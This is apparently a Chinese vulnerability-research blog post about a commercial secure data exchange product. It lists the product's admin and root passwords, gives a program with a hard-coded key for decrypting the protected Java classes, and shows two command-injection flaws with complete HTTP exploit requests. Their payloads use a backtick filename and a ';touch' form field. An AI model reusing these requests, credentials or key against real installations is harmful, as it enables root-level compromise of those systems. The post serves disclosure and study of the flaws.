本文写于2022年，分享一下挖掘某安全数据交换系统漏洞的过程。
基本信息：
- 后台管理界面用户名密码：admin/nxg@LL99
- 操作系统：root / bo%Fn!71、uninxg / lx$zR9ce
配置网络
根据产品安装文档环境搭建完毕后，手动设置IP地址和DNS：
手工修改 /etc/resolv.conf
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| nameserver 114.114.114.114
nameserver 8.8.8.8
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修改 /etc/NetworkManager/NetworkManager.conf 文件，在main部分添加 “dns=none” 选项：
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| [main]
#plugins=ifcfg-rh
dns=none
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网络IP地址配置文件在 /etc/sysconfig/network-scripts 文件夹下：
我添加了两个网卡，其中一个用来供本机访问：
/etc/sysconfig/network-scripts/ifcfg-eth1-1
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| HWADDR=00:0C:29:4B:16:B4
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=none
IPADDR=192.168.117.100
GATEWAY=192.168.117.2
PREFIX=24
DNS1=114.114.114.114
DNS2=8.8.8.8
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV4_DNS_PRIORITY=100
IPV6INIT=no
NAME=eth1
UUID=8a47e710-cadd-49b5-b9b7-33a324c4ab66
DEVICE=eth1
ONBOOT=no
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观察启动命令行：
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| /home/leagsoft/SafeDataExchange/jdk/bin/java -Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dlog4j2.formatMsgNoLookups=true -javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0022 -Dignore.endorsed.dirs= -classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar -Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache -Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start
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/home/leagsoft/SafeDataExchange/Apache 是Tomcat的安装目录，webapps目录下是部署的应用源代码：
将war包通过ssh拷贝至本地就可以看到整个项目的源代码了。
源代码解密
将war包拷贝到本地通过idea打开，发现关键代码的实现都是空，连spring的控制器都是空，初步怀疑是被加密了，那么它是如何加密的呢？
既然网站可以正常跑起来，那么应该是运行时的某种技术手段实现，观察启动命令行：
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| /home/leagsoft/SafeDataExchange/jdk/bin/java
-Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Dlog4j2.formatMsgNoLookups=true
**-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar**
-Djdk.tls.ephemeralDHKeySize=2048
-Djava.protocol.handler.pkgs=org.apache.catalina.webresources
-Dorg.apache.catalina.security.SecurityListener.UMASK=0022
-Dignore.endorsed.dirs=
-classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar
-Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache
-Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start
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命令行中有一个javaagent引起了我的注意：
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| -javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar
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将lib文件夹拷贝到项目中，观察jar包的结构：
看样子是调用了javassist实现了一种内存补丁技术，找到Agent的入口方法，看看它做了什么：
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| //
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.leagsoft.declass;
import java.lang.instrument.Instrumentation;
public class Agent {
public Agent() {
}
public static void premain(String args, Instrumentation inst) throws Exception {
CoreAgent.premain(args, inst);
}
}
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跟进CoreAgent.premain：
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| public class CoreAgent {
public CoreAgent() {
}
public static void premain(String args, Instrumentation inst) {
if (inst != null) {
File file = new File("../../Ini/ec.file");
Map<String, String> configMap = ECFileConfig.getConfig();
byte[] bytes = IoUtils.readFileToByte(file);
byte[] by = EncryptUtils.de(bytes, ((String)configMap.get("pf")).toCharArray(), 1);
AgentTransformer tran = new AgentTransformer(EncryptUtils.rsk(new String(by)).toCharArray());
inst.addTransformer(tran);
}
}
}
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这里可以看到，它是先通过ECFileConfig初始化，然后解密读取Ini/ec.file
跟进ECFileConfig.getConfig()：
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| public class ECFileConfig {
private static Map<String, String> configMap = null;
public ECFileConfig() {
}
private static void iniConfig() {
if (configMap == null) {
INIImpl ini = ECFileIni.getIni();
configMap = ini.getProperties("ECFile");
}
}
public static Map<String, String> getConfig() {
iniConfig();
return configMap;
}
}
//// ECFileIni.getIni();
public class ECFileIni {
private static String file = "../../Ini/ECFile.ini";
private static INIImpl self = null;
static {
self = init();
}
public ECFileIni() {
}
private static INIImpl init() {
String code = FileEncode.getFileEncode(file);
INIImpl iniFile = "asci".equals(code) ? INIUtil.getInstance(file) : INIUtil.getInstance(file, code);
return iniFile;
}
public static String getStringProperty(String section, String property) {
String rs = self.getStringProperty(section, property);
return "null".equals(rs) ? null : rs;
}
public static INIImpl getIni() {
return self;
}
}
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恰好我在服务器上找到了这个文件 ECFile.ini ：
再看看AgentTransformer 的实现：
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| public class AgentTransformer implements ClassFileTransformer {
private char[] pwd;
public AgentTransformer(char[] pwd) {
this.pwd = pwd;
}
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain domain, byte[] classBuffer) {
if (className != null && domain != null && loader != null) {
String projectPath = domain.getCodeSource().getLocation().getPath();
projectPath = JarUtils.getRootPath(projectPath);
if (StrUtils.isEmpty(projectPath)) {
return classBuffer;
} else {
className = className.replace("/", ".").replace("\\", ".");
byte[] bytes = JarDecryptor.getInstance().doDecrypt(projectPath, className, this.pwd);
return bytes != null && bytes[0] == -54 && bytes[1] == -2 && bytes[2] == -70 && bytes[3] == -66 ? bytes : classBuffer;
}
} else {
return classBuffer;
}
}
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AgentTransformer 重写了ClassFileTransformer的transform方法，将每一个class和密码放入JarDecryptor.doDecrypt进行解密，最终返回字节码。
再来看看JarDecryptor.doDecrypt的实现：
通过readEncryptedFile 方法读取**META-INF/.classes/** 下的class文件进行解密。
回到文件目录，在META-INF下发现了许多加密的class字节码文件：
这里我通过编写一个类，调用JarDecryptor.doDecrypt对全部class进行了解密：
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| import com.leagsoft.declass.util.ECFileConfig;
import com.leagsoft.declass.util.EncryptUtils;
import com.leagsoft.declass.util.IoUtils;
import com.leagsoft.declass.util.StrUtils;
import java.io.File;
import java.io.FileOutputStream;
import java.util.Map;
public class Main {
private static final String ENCRYPT_PATH = "UniEx/META-INF/.classes/";
private static final String DECRYPT_PATH = "UniEx-decode/UniExdecrypt/";
private static char[] getPassword(){
try {
File file = new File("UniEx/ec.file");
Map<String, String> configMap = ECFileConfig.getConfig();
byte[] bytes = IoUtils.readFileToByte(file);
String pf = "UniNXG-KUv1N5FQr9NtPWnK5UpJ8nnM3blCH9jYtGoXeo0bsXowOffDnW2o0DaVo41ZblSF0tNow5dPxVn8odAS9l4QxCiSvGTXhbliZF9W";
byte[] by = EncryptUtils.de(bytes, pf.toCharArray(), 1);
char password[] = EncryptUtils.rsk(new String(by)).toCharArray();
System.out.println(password);
return password;
} catch (Exception e) {
System.out.println(e);
}
return null;
}
public static void main(String[] args) throws Exception {
char password[] = getPassword();
File classFiles = new File(ENCRYPT_PATH);
File[] fs = classFiles.listFiles();
for (File classFile : fs){
System.out.println(classFile.getAbsolutePath());
File file = new File(ENCRYPT_PATH, classFile.getName());
byte[] bytes = IoUtils.readFileToByte(file);
if (bytes == null) {
return ;
} else {
char[] pass = StrUtils.merger(new char[][]{password, classFile.getName().toCharArray()});
bytes = EncryptUtils.de(bytes, pass, 1);
System.out.println("正在解密... " + classFile.getName());
try{
File outFile = new File(DECRYPT_PATH+ classFile.getName()+".class");
if (!outFile.exists()){
outFile.createNewFile();
}
FileOutputStream outputStream = new FileOutputStream(outFile);
outputStream.write(bytes);
}catch (Exception e){
}
}
}
}
}
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跑一下Main方法就能将所有的加密class字节码文件还原，大功告成。
远程调试Tomcat
修改Tomcat安装目录下bin/catalina.sh 文件，通过定义catalina的配置选项可以在tomcat启动时开启远程调试端口。
修改文件：/home/leagsoft/SafeDataExchange/Apache/bin/catalina.sh
加入内容：
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| CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:9999"
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然后重启tomcat就可以进行远程调试了。
打开idea，将原本没有方法实现的class替换为已经解密的class，添加远程调试配置：
这里我替换了：
WEB-INF/classes/com/leagsoft/nxg/dlp/controller/FileTrackMarkMessageController.class
添加一个调试配置，点击Edit Configurations：
点击添加按钮，新增一个Remote配置：
填入远程调试的IP地址和端口：
然后在要调试的方法下断点，点击调试按钮，控制台会提示已经连接到目标JVM：
当访问到对应的控制器，并且代码执行时，断点会生效：
通过观察调用栈、局部变量的值可以很方便的帮助我们进行输入输出的判断。
后台命令执行一
通过审计发现FileTrackMarkMessageController.class中的getUploadFileID 方法调用了Runtime.getRuntime().exec 可能会存在命令执行漏洞。
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| public void getUploadFileID(HttpServletRequest request, HttpServletResponse response) throws Exception {
List<FileItem> fileList = new ArrayList();
ModelAndViewUtil.getMultiParamterMap(request, fileList);
String separator = File.separator;
File detect = new File(".." + separator + ".." + separator + "Bin");
if (!detect.exists()) {
detect.mkdirs();
}
JObject jo = new JObject();
if (fileList.size() > 0) {
String fileID = "";
Iterator var8 = fileList.iterator();
while(var8.hasNext()) {
FileItem file = (FileItem)var8.next();
String simpleName = SysUtils.getSimpleName(file.getName().replaceAll("\\\\", "/"));
file.write(new File(".." + separator + ".." + separator + "Bin" + separator + simpleName));
String postfix = simpleName.substring(simpleName.lastIndexOf(".") + 1, simpleName.length());
String comd = ".." + separator + ".." + separator + "Bin" + separator + "ClairDeLune printall " + "\"" + ".." + separator + ".." + separator + "Bin" + separator + simpleName + "\"" + " " + postfix;
Process p = null;
String[] command = new String[]{"/bin/sh", "-c", comd};
p = Runtime.getRuntime().exec(command);
.......
}
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我们的输入点是request对象，它被传入了getMultiParamterMap方法，跟进查看：
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| public static Map<String, String> getMultiParamterMap(HttpServletRequest request, List<FileItem> fileList) throws FileUploadException {
Map<String, String> param = new TreeMap();
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
List items = null;
try {
items = upload.parseRequest(request);
} catch (Exception var10) {
LOG.error(var10.getMessage());
}
......
return param;
}
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request 被传入了ServletFileUpload，看来是一个文件上传的数据包。
构造一个文件上传的数据包发送过去调试看看：
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| POST /UniEx/fileTrackMarkMessage/getUploadFileID.htm HTTP/1.1
Host: 192.168.117.100
Content-Length: 181
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Cookie: JSESSIONID=5D3B2F3A86C3F73FC8FA267D3D5603D5;
Referer: https://192.168.49.100/UniEx/login.jsp
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymo440JkALdwNUIKs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarymo440JkALdwNUIKs
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png
123
------WebKitFormBoundarymo440JkALdwNUIKs--
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此时局部变量的值：
我发现文件名被带入了/bin/sh -c 意味着文件名也可以作为命令执行，由于前面有进行文件扩展名的获取解析，这个方法会取文件名的最后一个. 作为分割，把扩展名取得后拼接在最后面，最好的命令注入点是文件扩展名，最终我的payload如下：
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| file.`touch${IFS}222222`
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利用````和${IFS}替代空格 在shell中的特点，可以达到任意命令执行的目的，我还发现它的java服务是以root用户启动的，意味着获取这个命令执行的权限就是最高权限。
后台命令执行二
com.leagsoft.uex.sysparam.controller.NoticeConfigController.class 中的testNoticeEmailAction方法存在命令注入，在调用JavaShellUtil.executeCommand方法时，将用户输入带入了bash脚本后面，但LeagUtil.filterCmdParams对输入的值进行了过滤替换，不过因为参数没有放入单引号中，可以使用; 对前面的脚本进行闭合，从而绕过限制执行任意命令。
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| public void testNoticeEmailAction(HttpServletRequest request, HttpServletResponse response) throws IOException {
Map<String, String> emailMap = new HashMap();
Map<String, String[]> map = request.getParameterMap();
Set<Entry<String, String[]>> set = map.entrySet();
Iterator it = set.iterator();
while(it.hasNext()) {
Entry<String, String[]> entry = (Entry)it.next();
emailMap.put(entry.getKey(), ((String[])entry.getValue())[0]);
}
String random = (String)emailMap.get("random");
String mailPwd = RC4.RC4DecodeForJS((String)emailMap.get("mailSendPwd"), random);
emailMap.put("mailSendPwd", mailPwd);
try {
JavaShellUtil.executeCommand("/home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerAddr")) + " " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerPort")), false);
log.info("excute shell command : /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh {} {}", emailMap.get("mailServerPort"), emailMap.get("mailServerPort"));
} catch (IOException var13) {
log.error("excute /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh error", var13);
}
.....
// LeagUtil.filterCmdParams
public static String filterCmdParams(String cmdParams) {
if (StringUtils.isEmpty(cmdParams)) {
return cmdParams;
} else {
String afterParams = cmdParams.replaceAll("`", "");
if (!StringUtils.isEmpty(afterParams) && afterParams.contains("$(")) {
afterParams = afterParams.replaceAll("\\$", "");
}
log.info("before cmdParams:{},after filter cmdParams:{}", cmdParams, afterParams);
return afterParams;
}
}
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发送数据包：
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| POST /UniEx/noticeConfig/testNoticeEmailAction.htm HTTP/1.1
Host: 192.168.117.100
Cache-Control: max-age=0
Cookie: JSESSIONID=F9DA84D287041E1F8E09234CAA3EAB58;
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Referer: https://192.168.117.100/UniEx/login.jsp
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
random=123&mailSendPwd=123&mailServerAddr=;touch%20/tmp/222&mailServerPort=123
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思考
这款产品使用了javassist的动态执行技术，但是java始终还是java，我们只需要hook或者针对它最上层的代码进行研究即可，于是我根据本次漏洞挖掘，编写了一个工具：Rvn0xsy/DumperAnalyze: 通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩，可以做一些破解、加密验证的绕过等操作 (github.com)
通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩，可以做一些破解、加密验证的绕过等操作。
